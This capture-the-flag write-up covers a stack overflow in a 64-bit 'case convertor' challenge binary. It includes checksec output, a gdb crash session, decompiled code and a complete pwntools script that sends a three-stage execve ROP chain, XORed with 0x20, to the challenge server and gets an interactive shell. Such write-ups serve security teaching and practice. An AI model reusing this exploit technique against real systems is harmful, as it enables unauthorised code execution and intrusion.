Simple stack overflow with a statically compiled binary can be exploited with a generated execve ROP chain. The ROP chain has to be split up into multiple stages to bypass a lack of payload space.
Challenge Description
Points
300
Description
It's a case convertor. nc 13.228.156.5 56746
PS: gdb is helpful !
Solvers
1 Teams solved
Solution
The binary is a simple 64 bit ELF that converts uppercase characters to lowercase.
$ ./ae3dd3458e165fce0c97842a86585ec3_case_convertor
String :ABCDEFG
Result:abcdefg
It has the following protections:
$ checksec ae3dd3458e165fce0c97842a86585ec3_case_convertor
[*] '/vagrant/scc/case/ae3dd3458e165fce0c97842a86585ec3_case_convertor'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Getting RIP control is trivial.
$ gdb ./ae3dd3458e165fce0c97842a86585ec3_case_convertor
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ae3dd3458e165fce0c97842a86585ec3_case_convertor...
(no debugging symbols found)...done.
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAA
pAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /vagrant/scc/case/ae3dd3458e165fce0c97842a86585ec3_case_convertor
String :AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA
3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARA
AoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
aaadaaaaaaeaaAaaaafaaBaaaagaaCaaaahaaDaaaaiaaEaaaajaaFaaaakaaGaaaalaaHaaaamaa
IaaaanaaJaaaaoaaKaapaaLaaqaaMaaraaOaasaaPaataaQaauaaRaavaaTaawaaUaaxaaVaayaaW
aazaaXaaYa�@
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x4002c8 (<_init>: sub rsp,0x8)
RCX: 0x43fbc0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x6cc540 --> 0x0
RSI: 0x7fffffffbd90 ("Result:aaa\005aaSaabaa\004aaNaacaa\raa\baadaa\033aa\taae
aaAaa\020aafaaBaa\021aagaaCaa\022aahaaDaa\023aaiaaEaa\024aajaaFaa\025aakaaGaa
\026aalaaHaa\027aamaaIaa\030aanaaJaa\031aaoaaKaapaaLaaqaaMaaraaOaasaaPaataaQaa
uaaRaavaaTaawaaUaaxaaVaayaaWaaz"...)
RDI: 0x1
RBP: 0x4c61617061614b61 ('aKaapaaL')
RSP: 0x7fffffffe488 ("aaqaaMaaraaOaasaaPaataaQaauaaRaavaaTaawaaUaaxaaVaayaaWaa
zaaXaaYa\300\027@")
RIP: 0x400bc2 (<main+80>: ret)
R8 : 0x6ce880 (0x00000000006ce880)
R9 : 0xd3
R10: 0xcb
R11: 0x246
R12: 0x401730 (<__libc_csu_init>: push r14)
R13: 0x4017c0 (<__libc_csu_fini>: push rbx)
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400bb7 <main+69>: call 0x40f830 <printf>
0x400bbc <main+74>: mov eax,0x0
0x400bc1 <main+79>: leave
=> 0x400bc2 <main+80>: ret
0x400bc3: nop WORD PTR cs:[rax+rax*1+0x0]
0x400bcd: nop DWORD PTR [rax]
0x400bd0 <generic_start_main>: push r14
0x400bd2 <generic_start_main+2>: push r13
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe488 ("aaqaaMaaraaOaasaaPaataaQaauaaRaavaaTaawaaUaaxaaVaayaaWaazaaXaaYa\300\027@")
0008| 0x7fffffffe490 ("raaOaasaaPaataaQaauaaRaavaaTaawaaUaaxaaVaayaaWaazaaXaaYa\300\027@")
0016| 0x7fffffffe498 ("aPaataaQaauaaRaavaaTaawaaUaaxaaVaayaaWaazaaXaaYa\300\027@")
0024| 0x7fffffffe4a0 ("aauaaRaavaaTaawaaUaaxaaVaayaaWaazaaXaaYa\300\027@")
0032| 0x7fffffffe4a8 ("vaaTaawaaUaaxaaVaayaaWaazaaXaaYa\300\027@")
0040| 0x7fffffffe4b0 ("aUaaxaaVaayaaWaazaaXaaYa\300\027@")
0048| 0x7fffffffe4b8 ("aayaaWaazaaXaaYa\300\027@")
0056| 0x7fffffffe4c0 ("zaaXaaYa\300\027@")
[------------------------------------------------------------------------------] blue
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400bc2 in main ()
gdb-peda$ bt
#0 0x0000000000400bc2 in main ()
#1 0x61614d6161716161 in ?? ()
#2 0x617361614f616172 in ?? ()
#3 0x5161617461615061 in ?? ()
#4 0x6161526161756161 in ?? ()
#5 0x6177616154616176 in ?? ()
#6 0x5661617861615561 in ?? ()
#7 0x6161576161796161 in ?? ()
#8 0x615961615861617a in ?? ()
#9 0x00000000004017c0 in ?? ()
#10 0x0000000000000000 in ?? ()
gdb-peda$
The only complication is that the input is xored against 0x20 to make uppercase characters lowercase.
int convert_str(int arg0, int arg1) {
var_18 = arg0;
var_8 = __libc_malloc(0xd9, arg1);
_IO_printf("String :", arg1, rdx, rcx, r8, r9, stack[2043]);
read_input(var_8, 0xd9);
*(int32_t *)len = strlen(var_8);
for (*(int32_t *)i = 0x0; *(int32_t *)i < *(int32_t *)len; *(int32_t *)i = *(int32_t *)i + 0x1) {
*(int8_t *)(var_8 + sign_extend_64(*(int32_t *)i)) =
*(int8_t *)(var_8 + sign_extend_64(*(int32_t *)i)) & 0xff ^ 0x20;
}
rax = *(int32_t *)len;
rax = memcpy(var_18, var_8, sign_extend_64(rax));
return rax;
}
The solution script:
from pwn import *
from struct import pack
main_address = 0x400b72
p = lambda x : pack('Q', x)
IMAGE_BASE_0 = 0x0000000000400000 # ./case
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x0000000000005b68) # 0x0000000000405b68: pop r13; ret;
rop += '//bin/sh'
rop += rebase_0(0x0000000000001696) # 0x0000000000401696: pop rdi; ret;
rop += p64(0x6cc000)
rop += rebase_0(0x000000000005c995) # 0x000000000045c995: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p64(main_address)
rop2 = ""
rop2 += rebase_0(0x0000000000005b68) # 0x0000000000405b68: pop r13; ret;
rop2 += p(0x0000000000000000)
rop2 += rebase_0(0x0000000000001696) # 0x0000000000401696: pop rdi; ret;
rop2 += p64(0x6cc008)
rop2 += rebase_0(0x000000000005c995) # 0x000000000045c995: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop2 += p(0xdeadbeefdeadbeef)
rop2 += p(0xdeadbeefdeadbeef)
rop2 += p(0xdeadbeefdeadbeef)
rop2 += p(0xdeadbeefdeadbeef)
rop2 += p64(main_address)
rop3 = ""
rop3 += rebase_0(0x0000000000001696) # 0x0000000000401696: pop rdi; ret;
rop3 += p64(0x6cc000)
rop3 += rebase_0(0x00000000000017b7) # 0x00000000004017b7: pop rsi; ret;
rop3 += p64(0x6cc008)
rop3 += rebase_0(0x0000000000042f86) # 0x0000000000442f86: pop rdx; ret;
rop3 += p64(0x6cc008)
rop3 += rebase_0(0x000000000001e398) # 0x000000000041e398: pop rax; ret;
rop3 += p(0x000000000000003b)
rop3 += rebase_0(0x00000000000676d5) # 0x00000000004676d5: syscall; ret;
rop4 = ""
def main():
#p = process("./case")
p = remote("13.228.156.5", 56746)
# Stage 1
payload = "A"*136
payload += rop
payload = payload.ljust(217, "\x90")
payload = xor(payload, 0x20)
p.send(payload)
# Stage 2
payload = "A"*136
payload += rop2
payload = payload.ljust(217, "\x90")
payload = xor(payload, 0x20)
p.send(payload)
# Stage 2
payload = "A"*136
payload += rop3
payload = payload.ljust(217, "\x90")
payload = xor(payload, 0x20)
p.send(payload)
p.clean()
p.interactive()
if __name__ == "__main__":
main()
Running the script:
$ python exploit.py
[+] Starting local process './case': pid 5601
[*] Switching to interactive mode
$ whoami
ubuntu
$ uname -a
Linux ubuntu-xenial 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC
2017 x86_64 x86_64 x86_64 GNU/Linux
$
Leave a Comment